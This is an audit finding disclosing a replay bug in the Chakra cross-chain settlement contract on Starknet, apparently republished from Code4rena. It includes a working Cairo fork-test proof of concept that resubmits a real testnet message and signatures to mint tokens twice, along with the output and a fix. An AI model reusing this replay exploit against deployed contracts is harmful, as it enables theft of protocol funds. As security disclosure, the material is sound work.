In Starknet, already processed messages can be re-submitted and by anyone
The receive_cross_chain_msg function in the Starknet settlement handler did not check whether a cross-chain message had already been processed, so anyone could resubmit a previously valid message with its original signatures and trigger repeated token mints. This allowed an attacker to inflate the balance of the recipient address by the message amount each time.
Moksha Follow with Abdessamed, aldarion and 33 others
Originally disclosed on Code4rena
Submitted by Moksha, also found by Abdessamed, aldarion, ABAIKUNANBAEV, 0xAsen, Tigerfrake, 0x37, blackpanther, mjcpwns, kutugu, pwnforce, avoloder, Audinarey, jasonxiale, Daniel_eth, SBSecurity, 0xNirix, Emmanuel, Respx, tekkac, peanuts, b0g0, LuarSec, haxatron, klau5, said, shaflow2, Shaheen, mojito_auditor, fyamf, devival, ZdravkoHr, Drynooo, Agontuk, AllTooWell, and PASCAL
Impact
The impact is high as the adversary can call the receive_cross_chain_msg with the already processed and valid parameters and benefit from it. With such parameters, anyone can call not just the validators so it further affects the protocol. Due to the missing check if the txId status is UNKNOW the attack is very much feasible as shown in the below fork testing local POC. This also breaks the main invariant mentioned in the audit docs/readme that
A cross-chain message can only be received once. The status of a received transaction in receive_cross_txs must be
CrossChainMsgStatus.Unknowbefore it can be processed.
Proof of Concept
Below is the fork testing locally test case snippet and steps where the already deployed contract addresses on the Sepolia testnet of Starknet are used due to the nature of the bug, the attacker needs to resubmit the already processed, valid message and signatures of valid/whitelisted operators too. The sponsors have provided a notion document on the audit details page from where the contract address and other details were obtained.
Such details provided by the sponsor can be found here.
The contract address mentioned there is a bit old and got upgraded a few times and deployed new ones too so below code snippet below has the latest one.
Step 1: Get the deployed settlement_handler.cairo contract address.
This is the latest one deployed on the sepolia test net starknet chain: https://sepolia.starkscan.co/contract/0x0449f7dae3a8073aeee71a7203467d686a5227d90a9149a524787ccb0f5de54f#read-write-contract-sub-write
Step 2: Already made call receive_cross_chain_msg to Step 1 contract with necessary parameters like txId, signatures (important), etc. Which succeed too i.e. that returned the true
This is the call: https://sepolia.starkscan.co/call/0x03842b8ffb248e0d2f629828c3af83ff718de72be67b3a6a5acf191ad95f4706_1_1
The mint/transfer event for the same above call
https://sepolia.voyager.online/event/163813_0_0
Call Overview
The call is from the Chakra chain to starknet and the payload says to transfer the chakraBTC (handler/btc.cairo) deployed on the testnet chain. In the next step, we would take the same parameter for the chain locally call the receive_cross-chain_msg multiple times, and observe the balance increase for the address in this payload. According to the payload, the address to receive is 0x8e0202cd048b6ccb8aa36d5d00ed0aa9b6d9e088 and the amount is 130000 of chakraBTC.
Step 3: Forking the chain to again call the receive_cross_chain_msg to settlement_handler contract we got in Step 1.
Add the following into the cairo/handler/Scarb.toml
#snip
[[tool.snforge.fork]]
name = "AGAINRECEIVE"
# add the private key or get from sponsor provided ./sn_foundry
url = "https://starknet-sepolia.g.alchemy.com/v2/private key"
block_id.tag = "Latest"
Paste the following test snippet in the cairo/handler/src/tests/test_settlement.cairo.
Tool version is same as sponsors snforge: v0.20.0
#[test]
#[fork("AGAINRECEIVE")]
fn test_multiple_call(){
// handler/settlement.cairo contract deployed address on starknet sepolia
let settlement_contract_addrs:ContractAddress= contract_address_const::<0x0449f7dae3a8073aeee71a7203467d686a5227d90a9149a524787ccb0f5de54f>();
let settlement_dispatcher = IChakraSettlementDispatcher{contract_address: settlement_contract_addrs};
// These parameters were obtained and transformed according to the types from the block explorer of previous call
let cross_chain_msg_id:u256 = 82534164209879964599356552878803734303950578526030081111379082455793595623651;
let from_chain:felt252 = 0x4368616b7261;
let to_chain:felt252 = 0x537461726b6e6574;
let from_handler:u256 = 445232236578399690027982039634994002761675653437;
let to_handler:ContractAddress = contract_address_const::<0x04a399c6ff072ae2e96946af915a731c4875564083df6b39e41e65c2af25f379>();
let sign_type:u8 = 0;
let sig_tuple: (felt252,felt252,bool) = (0x6cd261e253b93d5fa4d2d119ce6bb1395427c3daf3560b081bd36b34135048,0x44a123c8a32499c060617121c1b09dfc8afec982dd4abf27d45abd63b88ab4d,false);
let signatures = array![sig_tuple];
let payload_type:u8 = 5;
let payload = array![1, 95, 27, 243, 138, 154, 82, 64, 103, 243, 156, 169, 88, 142, 43, 183, 3, 113, 115, 180, 229, 74, 48, 79, 207, 217, 15, 129, 226, 133, 221, 162, 234, 5, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 108, 62, 237, 83, 45, 74, 57, 55, 251, 225, 120, 144, 151, 57, 230, 10, 50, 126, 25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 142, 2, 2, 205, 4, 139, 108, 203, 138, 163, 109, 93, 0, 237, 10, 169, 182, 217, 224, 136, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 199, 19, 150, 75, 71, 142, 63, 31, 51, 152, 100, 49, 14, 178, 250, 216, 32, 11, 40, 170, 210, 40, 58, 167, 21, 196, 194, 123, 15, 212, 243, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 251, 208];
// ERC20 ckr_btc contract deployed address on starkne sepolia
// The original call or above params does the mints this ckrbtc token, amount 130000 to the address 0x8e0202cd048b6ccb8aa36d5d00ed0aa9b6d9e088
let chakraSignetBTC_sep_addrs:ContractAddress = contract_address_const::<0x05c713964b478e3f1f339864310eb2fad8200b28aad2283aa715c4c27b0fd4f3>();
let chakratoken_dispatcher = IERC20Dispatcher{contract_address: chakraSignetBTC_sep_addrs};
// balance checking before the first resubmission of same message
let balance_its = chakratoken_dispatcher.balance_of(contract_address_const::<0x8e0202cd048b6ccb8aa36d5d00ed0aa9b6d9e088>());
println!("Balance of addrs before calling receive_cross_chain_msg: {}",balance_its);
// calling receive_cross_chain_msg with necessary parameters
let return_val = settlement_dispatcher.receive_cross_chain_msg(cross_chain_msg_id,from_chain,to_chain,from_handler,to_handler,sign_type,signatures,payload,payload_type);
assert(return_val == true,'multiple call fail');
// balance checking after call should increase
let chakraSignetBTC_sep_addrs:ContractAddress = contract_address_const::<0x05c713964b478e3f1f339864310eb2fad8200b28aad2283aa715c4c27b0fd4f3>();
let chakratoken_dispatcher = IERC20Dispatcher{contract_address: chakraSignetBTC_sep_addrs};
let balance_its = chakratoken_dispatcher.balance_of(contract_address_const::<0x8e0202cd048b6ccb8aa36d5d00ed0aa9b6d9e088>());
println!("Balance of addrs after calling receive_cross_chain_msg once: {}",balance_its);
assert!(balance_its == 390000, "no balance inc");
// Again calling with same parameters. everything is same from above
let settlement_contract_addrs:ContractAddress= contract_address_const::<0x0449f7dae3a8073aeee71a7203467d686a5227d90a9149a524787ccb0f5de54f>();
let settlement_dispatcher = IChakraSettlementDispatcher{contract_address: settlement_contract_addrs};
// would be calling with the same params with using the same signatures and all
let cross_chain_msg_id:u256 = 82534164209879964599356552878803734303950578526030081111379082455793595623651;
let from_chain:felt252 = 0x4368616b7261;
let to_chain:felt252 = 0x537461726b6e6574;
let from_handler:u256 = 445232236578399690027982039634994002761675653437;
let to_handler:ContractAddress = contract_address_const::<0x04a399c6ff072ae2e96946af915a731c4875564083df6b39e41e65c2af25f379>();
let sign_type:u8 = 0;
let sig_tuple: (felt252,felt252,bool) = (0x6cd261e253b93d5fa4d2d119ce6bb1395427c3daf3560b081bd36b34135048,0x44a123c8a32499c060617121c1b09dfc8afec982dd4abf27d45abd63b88ab4d,false);
let signatures = array![sig_tuple];
let payload_type:u8 = 5;
let payload = array![1, 95, 27, 243, 138, 154, 82, 64, 103, 243, 156, 169, 88, 142, 43, 183, 3, 113, 115, 180, 229, 74, 48, 79, 207, 217, 15, 129, 226, 133, 221, 162, 234, 5, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 108, 62, 237, 83, 45, 74, 57, 55, 251, 225, 120, 144, 151, 57, 230, 10, 50, 126, 25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 142, 2, 2, 205, 4, 139, 108, 203, 138, 163, 109, 93, 0, 237, 10, 169, 182, 217, 224, 136, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 199, 19, 150, 75, 71, 142, 63, 31, 51, 152, 100, 49, 14, 178, 250, 216, 32, 11, 40, 170, 210, 40, 58, 167, 21, 196, 194, 123, 15, 212, 243, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 251, 208];
let return_val = settlement_dispatcher.receive_cross_chain_msg(cross_chain_msg_id,from_chain,to_chain,from_handler,to_handler,sign_type,signatures,payload,payload_type);
assert(return_val == true,'again call fail');
let chakraSignetBTC_sep_addrs:ContractAddress = contract_address_const::<0x05c713964b478e3f1f339864310eb2fad8200b28aad2283aa715c4c27b0fd4f3>();
let chakratoken_dispatcher = IERC20Dispatcher{contract_address: chakraSignetBTC_sep_addrs};
let balance_its = chakratoken_dispatcher.balance_of(contract_address_const::<0x8e0202cd048b6ccb8aa36d5d00ed0aa9b6d9e088>());
println!("Balance of addrs after calling receive_cross_chain_msg second call: {}",balance_its);
assert!(balance_its == 520000, "no balance inc");
}
Run the snforge test.
The test case passes and the balance of the receiver does the increase by 130000 every time we call with the same parameters.
➜ tests git:(main) ✗ snforge test
Compiling settlement_cairo v0.1.0 (/c4a/2024-08-chakra/cairo/handler/Scarb.toml)
Finished release target(s) in 15 seconds
[WARNING] RPC node with the url https://starknet-sepolia.g.alchemy.com/v2/private_key uses incompatible version 0.6.0. Expected version: 0.7.0
Collected 1 test(s) from settlement_cairo package
Running 1 test(s) from src/
Balance of addrs before calling receive_cross_chain_msg: 260000
Balance of addrs after calling receive_cross_chain_msg once: 390000
Balance of addrs after calling receive_cross_chain_msg second call: 520000
[PASS] settlement_cairo::tests::test_settlement::test_multiple_call (gas: ~1003)
Tests: 1 passed, 0 failed, 0 skipped, 0 ignored, 0 filtered out
Latest block number = 174196 for url = https://starknet-sepolia.g.alchemy.com/v2/private-key
Evident from the code the receive_cross_chain_msg function in handler/settlement.cairo function lacks the validation or invariant mentioned of CrossChainMsgStatus.Unknow thus leads to process the already processed valid message again and again resulting in loss to the protocol
https://github.com/code-423n4/2024-08-chakra/blob/d0d45ae1d26ca1b87034e67180fac07ce9642fd9/cairo/handler/src/settlement.cairo#L325-L383
Recommended Mitigation Steps
Add check in the receive_cross_chain_msg handler/settlement.cairo to check the cross chain status of the txid.
assert(self.created_tx.read(cross_chain_msg_id.try_into().unwrap()).tx_status == CrossChainMsgStatus::UNKNOW, 'tx status error');
zvlwwj (Chakra) confirmed via duplicate issue #131
The Warden and its duplicates have demonstrated that it is possible to replay transactions in the Chakra system due to a lack of transaction status validation. I believe a high-risk severity rating is appropriate for this submission as it breaches a core invariant of the system and leads to fund loss.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The receive_cross_chain_msg function did not verify that the transaction status was UNKNOW before processing, allowing replay of already processed messages.
Impact
An attacker could repeatedly resubmit a valid cross-chain message to mint additional tokens, causing fund loss to the protocol; the report demonstrates this on a testnet fork.
What the attacker needed
Access to a previously processed valid message; ability to submit transactions to the settlement contract
The fix
Add a check in receive_cross_chain_msg to ensure the transaction status is UNKNOW before processing.
How it was found
- Obtain the deployed settlement_handler contract address on Starknet Sepolia.
- Identify a previously successful receive_cross_chain_msg call and extract its parameters, including signatures.
- Fork the Starknet chain locally and configure the test environment.
- Call receive_cross_chain_msg with the same parameters and signatures, and observe the token balance increase.
- Repeat the call with identical parameters and observe the balance increase again.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A cross-chain bridge moves tokens between two blockchains by passing messages. Each message should be handled only once, but here the receiving contract forgot to check if a message had already been processed. So anyone could send the same valid message again and again, and each time the contract would mint new tokens to the same address, stealing value from the protocol.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.